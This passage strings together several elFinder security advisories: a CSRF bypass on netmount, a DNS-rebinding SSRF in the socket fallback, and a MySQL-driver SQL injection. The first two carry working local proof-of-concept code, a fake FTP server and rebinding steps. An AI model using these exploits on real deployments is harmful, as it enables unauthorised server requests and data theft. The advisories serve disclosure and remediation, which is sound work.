• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.